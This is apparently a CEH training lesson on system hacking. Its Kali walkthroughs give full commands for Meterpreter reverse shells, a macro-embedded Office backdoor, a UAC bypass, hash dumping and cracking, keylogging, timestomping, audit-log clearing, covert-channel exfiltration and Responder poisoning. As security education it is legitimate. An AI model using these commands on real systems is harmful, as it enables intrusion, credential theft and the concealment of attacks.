Cyber Services / All lessons / CEH — Ethical Hacking / CEH Module 06 Guide System Hacking

CEH Module 06 Guide System Hacking

Module 26 of 130 · 13 min read · Free to read

MODULES ↓ Command blocks have a COPY button

Module 06 delves into the core of system hacking, covering techniques to gain access, escalate privileges, maintain presence, extract sensitive information like passwords, and cover tracks within a target system. This guide provides practical steps using common tools found in Kali Linux.

System Hacking Phases (Typical Flow):
  1. Gaining Access: Exploiting vulnerabilities (client-side, server-side) or using stolen credentials to get initial foothold.
  2. Escalating Privileges: Moving from a standard user account to one with higher permissions (e.g., Administrator or SYSTEM on Windows, root on Linux).
  3. Maintaining Access: Establishing persistence mechanisms to survive reboots or user logoffs (e.g., backdoors, scheduled tasks).
  4. Executing Applications: Running desired tools or commands on the compromised system.
  5. Hiding Files: Using techniques like steganography or Alternate Data Streams (ADS) to conceal tools or exfiltrated data.
  6. Covering Tracks: Clearing logs and altering timestamps to hide malicious activity.
Ethical Imperative: System hacking techniques are powerful and potentially destructive. They must ONLY be used within authorized penetration testing engagements or completely isolated personal lab environments. Unauthorized access is illegal and unethical.

I. Gaining Initial Access: Client-Side Exploits

Client-side attacks often rely on user interaction, such as tricking a user into running a malicious executable or opening a weaponized document.

Tool: Metasploit Framework (msfvenom & msfconsole)
msfvenom generates payloads, while msfconsole sets up the listener (handler) to receive connections from executed payloads.
Scenario 1: Basic Executable Payload & VNC Session

Create a simple Windows executable payload that connects back to your Kali machine.

1. Generate Payload (Kali):

# Replace  with your Kali IP address (visible to the target)
# Replace  with the port you want to listen on (e.g., 4444)
msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 \
LHOST= LPORT= -f exe -o /root/Desktop/SimplePayload.exe

Creates a 32-bit Windows Meterpreter reverse TCP payload named SimplePayload.exe on your Kali Desktop.

2. Setup Listener (Kali):

msfconsole -q # Start Metasploit quietly
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST  # Use the SAME IP as in msfvenom
set LPORT  # Use the SAME port as in msfvenom
exploit

Configures Metasploit to listen for incoming connections matching the generated payload.

3. Deliver & Execute (Target Windows):

Transfer SimplePayload.exe to the Windows target (e.g., via web server, USB, shared folder - requires disabling AV temporarily for this basic payload). Run the executable on the target.

4. Establish VNC Session (Kali - Meterpreter):

Once the connection is established in Metasploit (Meterpreter session 1 opened...):

sessions -i 1 # Interact with the session
sysinfo # Get basic system info
run vnc # Attempt to start a VNC session

If successful, a VNC viewer window showing the target's desktop should appear.

Scenario 2: Malicious Office Document (TheFatRat)

Create a weaponized Office document that executes a payload when macros are enabled.

Note: Requires TheFatRat tool installed on Kali (installation not covered here).

1. Generate Payload with TheFatRat (Kali):

# Launch TheFatRat
sudo fatrat

# --- Follow TheFatRat Menu Options ---
# Example Flow (menus might change slightly):
# Choose Option: [06] Create Fud Backdoor ... with PwnWinds ...
# Choose Option: [3] Create exe file with apache + Powershell ...
# Set LHOST=, LPORT=, Output filename (e.g., payload.exe)
# Choose Payload: [3] windows/meterpreter/reverse_tcp
# Return to Main Menu: [8] Back
# Choose Option: [07] Create Backdoor For Office ...
# Choose Option: [2] The Microsoft Office Macro on Windows ...
# Set LHOST, LPORT (same as before), Output Document Name (e.g., report.doc)
# Use custom exe? -> y
# Path to custom exe -> /root/TheFatRat/output/payload.exe (or wherever saved)
# Choose Payload: [3] windows/meterpreter/reverse_tcp

TheFatRat automates embedding the previously created EXE into an Office macro.

2. Setup Listener (Kali):

Use the *exact same* settings in `msfconsole` `multi/handler` as before (matching LHOST, LPORT, and payload type `windows/meterpreter/reverse_tcp`). Start the listener (`exploit`).

3. Deliver & Execute (Target Windows):

Transfer the generated `.doc` file to the target. The user must open it and explicitly "Enable Content" or "Enable Macros" for the payload to execute.

4. Interact (Kali):

If the user enables macros, a Meterpreter session should open in your listener.

II. Escalating Privileges

Gaining initial access often lands you as a standard user. Privilege escalation aims to gain higher-level access (Administrator/SYSTEM).

Scenario: Exploiting BypassUAC (Example: FodHelper)

This technique attempts to bypass Windows User Account Control (UAC) to execute commands with elevated privileges.

Prerequisite: Assume you have an existing Meterpreter session as a standard user (e.g., from Scenario 1 above). Interact with it using sessions -i .

1. Check Current Privileges (Meterpreter):

getuid

Shows your current user context (e.g., TARGET-PC\StandardUser).

2. Attempt Initial Hash Dump (Will likely fail):

run post/windows/gather/smart_hashdump

This tries to dump password hashes from SAM/LSASS. It requires high privileges and will usually fail as a standard user.

3. Attempt Basic Privilege Escalation (May fail):

getsystem

Meterpreter tries several techniques to elevate to SYSTEM. It might fail depending on the target's configuration and patch level.

4. Background Current Session & Use BypassUAC Module (Meterpreter):

background # Puts the current session in the background
use exploit/windows/local/bypassuac_fodhelper
show options

Load the specific BypassUAC exploit module. Check its options.

5. Configure BypassUAC Module:

set SESSION  # Set to your backgrounded Meterpreter session ID
set PAYLOAD windows/meterpreter/reverse_tcp # Or x64 if target is 64-bit
set LHOST  # Where the NEW elevated session should connect back
set LPORT  # Use a DIFFERENT port than the first listener (e.g., 4445)
# Optional: set TARGET 0 (usually auto-detected for Windows 10/11)
show options # Verify settings
exploit

Configure the exploit to use your existing session and set up connection details for the *new, elevated* session it will create.

6. Receive Elevated Session (Kali):

Metasploit will automatically start a handler for the new payload. If the BypassUAC exploit succeeds, a *second* Meterpreter session will open.

7. Interact & Verify Elevation (Meterpreter):

sessions # List available sessions (you should see two now)
sessions -i  # Interact with the NEW session
getuid

The getuid command should now show NT AUTHORITY\SYSTEM.

8. Attempt Privilege Escalation & Hash Dump Again (Now likely succeeds):

getsystem # May still be needed or confirm SYSTEM level
run post/windows/gather/smart_hashdump

With SYSTEM privileges, smart_hashdump should now succeed in dumping LM/NTLM hashes.

III. Post-Exploitation: Leveraging Meterpreter

Once SYSTEM/root access is achieved, Meterpreter provides powerful capabilities.

Assume you have an active, elevated Meterpreter session.

A. Information Gathering:

sysinfo # Basic OS, architecture info
ipconfig # Network interface configuration
getuid # Verify current user context
ps # List running processes
getpid # Get the process ID Meterpreter is currently running inside

B. File System Interaction:

pwd # Print working directory (on target)
ls # List files in current directory
cd C:\\Users\\Public\\Documents # Change directory
upload /root/mytool.exe . # Upload a file from Kali to target's current dir
download important_report.docx . # Download file from target to Kali
search -f *.pdf -d C:\\Users # Search for PDF files in user directories

C. Keystroke Logging:

keyscan_start # Start capturing keystrokes
# (Wait for user to type)
keyscan_dump # Display captured keystrokes
keyscan_stop # Stop capturing

D. Timestamp Manipulation (Anti-Forensics):

# View MAC(E) times (Modified, Accessed, Created, Entry Modified)
timestomp sensitive_file.txt -v

# Set times of sensitive_file.txt to match cmd.exe
timestomp sensitive_file.txt -f C:\\Windows\\System32\\cmd.exe

E. System Interaction:

idletime # Check how long the user has been idle
execute -f cmd.exe -i -H # Execute command prompt interactively (hidden)
reboot # Reboot the target machine (Use with extreme caution!)
shutdown # Shutdown the target machine (Use with extreme caution!)
migrate  # Migrate Meterpreter to a more stable process (e.g., explorer.exe PID)
Tip: Migrating (migrate) into a stable process like explorer.exe or svchost.exe makes your session more resilient if the initial exploited process closes.

IV. Password Cracking Techniques

Obtaining password hashes (e.g., via smart_hashdump) is only half the battle. Cracking converts these hashes into plaintext passwords.

Understanding Hashes: Windows stores passwords as hashes (primarily NTLM, older systems might have LM). Hashing is a one-way function – you can't directly reverse it. Cracking involves guessing passwords, hashing them, and comparing the result to the stored hash.
Scenario 1: Dumping SAM Hashes & Cracking (Offline)

Note: Directly dumping the live SAM file is often blocked by Windows. Techniques usually involve accessing LSASS memory (like Mimikatz or smart_hashdump after elevation) or extracting hashes from a registry hive backup.

1. Dump Hashes (Requires SYSTEM privileges):

Use run post/windows/gather/smart_hashdump in an elevated Meterpreter session. Alternatively, tools like secretsdump.py (Impacket) can dump hashes remotely if you have admin credentials, or tools like Mimikatz can dump from memory.

Legacy Tool Example (from notes, often requires booting from different media): The notes mention PwDump7.exe. This older tool often required offline access or specific conditions. Modern methods are generally preferred.

# Example Output Format (LM:NTLM):
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
TestUser:1001:NO PASSWORD*********************:5F4B1C3B043E7458CEAF552F4D6970D8:::

2. Prepare Hash File for Cracking:

Copy the dumped hashes (the username:RID:LM:NTLM::: part) into a text file (e.g., hashes.txt) on your Kali machine.

3. Crack with Ophcrack (Using Rainbow Tables):

Ophcrack uses precomputed rainbow tables to rapidly reverse hashes for common passwords.

ophcrack-cli -g -d /path/to/tables/ -f hashes.txt # Command-line example
# Or use the GUI: ophcrack

- Launch the Ophcrack GUI (ophcrack). - Click "Load" -> "PWDUMP File" and select your hashes.txt. - Ensure appropriate rainbow tables are loaded/installed (click "Tables", download needed ones like "Vista free"). - Click "Crack". Found passwords will appear.

4. Crack with Hashcat or John the Ripper (More Powerful):

These tools use brute-force, dictionary attacks, rule-based attacks, etc. They are generally more flexible and powerful than Ophcrack but require configuration.

# Example with John the Ripper
john --format=nt hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Example with Hashcat (GPU accelerated)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # -m 1000 for NTLM
Scenario 2: Creating & Using Rainbow Tables

You can generate your own rainbow tables for specific character sets and lengths, useful if standard tables fail.

Tools (from notes): Winrtgen (Windows-based generator) and rcrack_gui (Windows-based cracker). These are less common on Kali; rtgen and rcracki_mt (part of `rainbowcrack-mt` package on Linux) are alternatives.

1. Generate Tables (Concept using Winrtgen described in notes):

- Use a tool like Winrtgen. - Define table properties: Hash type (e.g., ntlm), Min/Max password length, Character set (e.g., loweralpha), Chain count (balances size vs. speed). - Generation can take a *very* long time and significant disk space.

2. Crack with Tables (Concept using rcrack_gui described in notes):

- Launch the cracking tool (e.g., `rcrack_gui` or `rcracki_mt`). - Load the NTLM hashes (e.g., from PWDUMP file). - Point the tool to the directory containing your generated rainbow tables. - Start the cracking process.

Tool: L0phtCrack (Password Auditing)

Legacy Note: L0phtCrack was a pioneering commercial password auditing tool. While historically significant, modern engagements typically use Hashcat, John, or Nessus/OpenVAS credentialed checks for password strength auditing. The concept involves importing hashes and running checks against dictionaries and rules to find weak passwords proactively.

V. Data Hiding & Steganography

Techniques to conceal data or tools on a compromised system.

1. Hiding Files Using NTFS Alternate Data Streams (ADS):

ADS allows storing data "behind" a standard file, invisible in normal directory listings.

REM --- On Target Windows Command Prompt ---
REM Hide calc.exe inside readme.txt
type c:\windows\system32\calc.exe > c:\Users\Public\readme.txt:hidden_calc.exe

REM Create a link (less common use case)
REM mklink c:\Users\Public\backdoor.exe c:\Users\Public\readme.txt:hidden_calc.exe

The calculator is now hidden within the ADS of `readme.txt`. You can run it via start c:\Users\Public\readme.txt:hidden_calc.exe. Tools exist to detect ADS.

2. Hiding Data Using Whitespace Steganography (SNOW):

SNOW conceals messages within the whitespace (spaces, tabs) at the end of lines in text files. Requires the `snow` tool installed.

# --- On Kali (or target if snow is installed) ---
# Embed message into readme.txt, save as readme2.txt, using password "magic"
snow -C -m "Secret message here" -p "magic" original_readme.txt embedded_readme.txt

# Extract message from readme2.txt using password "magic"
snow -C -p "magic" embedded_readme.txt
Image Steganography Tools (Mentioned in Notes):
  • OpenStego: Java-based tool, often saves output as .png. Embeds data within image pixels.
  • Quick Stego: Another tool, potentially saving output as .bmp.

The core idea is to modify image pixel data subtly to encode hidden information. Effectiveness depends on the algorithm and image size/type.

VI. Covering Tracks & Advanced Techniques

1. Viewing, Enabling, and Clearing Audit Policies (Auditpol):

Manipulating Windows audit policies can hide specific logged events. Requires Administrator privileges.

REM --- On Target Windows Command Prompt (Admin) ---
REM View current audit policy categories
auditpol /get /category:*

REM Enable success/failure logging for System and Account Logon events
auditpol /set /category:"System","Account Logon" /success:enable /failure:enable

REM Clear ALL audit policy settings (makes system less secure, but hides tracks)
auditpol /clear /y

REM Verify settings after clearing
auditpol /get /category:*
Warning: Clearing audit policies is highly suspicious and detrimental to system security and incident response. Use only with extreme caution and authorization in testing scenarios.
2. Covert Channels using Covert_TCP:

Covert_TCP attempts to exfiltrate data by encoding it within unused fields (like sequence numbers or source ports) of legitimate-looking TCP/IP packets, potentially bypassing simple firewalls or IDS.

Note: Requires compiling the `covert_tcp.c` source code on both sender (Kali) and receiver (e.g., another Linux VM).

# --- Compile on both machines ---
gcc -o covert_tcp covert_tcp.c

# --- On Receiver Machine (e.g., Ubuntu VM @ 10.10.10.9) ---
# Listen for data, save to receive.txt
./covert_tcp –dest 10.10.10.9 –source 10.10.10.11 –source_port 9999 –dest_port 8888 –server –file /path/to/receive.txt

# --- On Sender Machine (Kali @ 10.10.10.11) ---
# Send contents of message.txt
./covert_tcp –dest 10.10.10.9 –source 10.10.10.11 -source_port 8888 –dest_port 9999 –file /path/to/message.txt

Use Wireshark on either machine to observe the unusual packet fields carrying the hidden data, one character/byte at a time.

VII. Network-Based Attack: Responder

Responder exploits weaknesses in legacy name resolution protocols (LLMNR, NBT-NS) often enabled by default on Windows networks.

LLMNR/NBT-NS Poisoning: When a Windows machine fails to resolve a hostname via DNS, it broadcasts requests using Link-Local Multicast Name Resolution (LLMNR) or NetBIOS Name Service (NBT-NS). Responder listens for these broadcasts and replies, pretending to be the requested host. It can then trick the client into sending its NTLMv1/v2 hash when attempting authentication.
Scenario: Capturing Hashes with Responder

1. Run Responder (Kali):

sudo responder -I eth0 -v

-I eth0 specifies the interface to listen on. -v provides verbose output.

2. Trigger Name Resolution Failure (Target Windows):

On a Windows machine on the *same* network segment, try to access a non-existent network share. This often triggers LLMNR/NBT-NS broadcasts.

REM --- On Target Windows ---
REM Open Run (Win+R) and type:
\\nonexistent-fileshare

3. Observe Responder Output (Kali):

Responder should detect the broadcast and attempt to poison the response. If successful, it will capture the NTLMv2 hash (or NTLMv1 on older systems) sent by the Windows client.

4. Locate & Crack Hashes (Kali):

Responder saves captured hashes by default in /usr/share/responder/logs/. Use John the Ripper or Hashcat to crack them.

# Example using John the Ripper
sudo john /usr/share/responder/logs/HTTP-NTLMv2-.txt --wordlist=/usr/share/wordlists/rockyou.txt
Monitoring Tools (Mentioned in Notes):

Spytech SpyAgent and Power Spy are examples of commercial keylogging and system monitoring software. While powerful, they represent spyware often installed with physical access or via RDP after initial compromise. Ethical hackers might encounter or need to detect such tools during assessments.

Conclusion

System hacking encompasses a wide array of techniques, from gaining initial access and escalating privileges to sophisticated data hiding and track covering. Mastery requires understanding both offensive tools and defensive countermeasures. This module provides a practical foundation, but continuous learning and hands-on practice in controlled environments are essential.

Modules (130) ← CEH — Ethical Hacking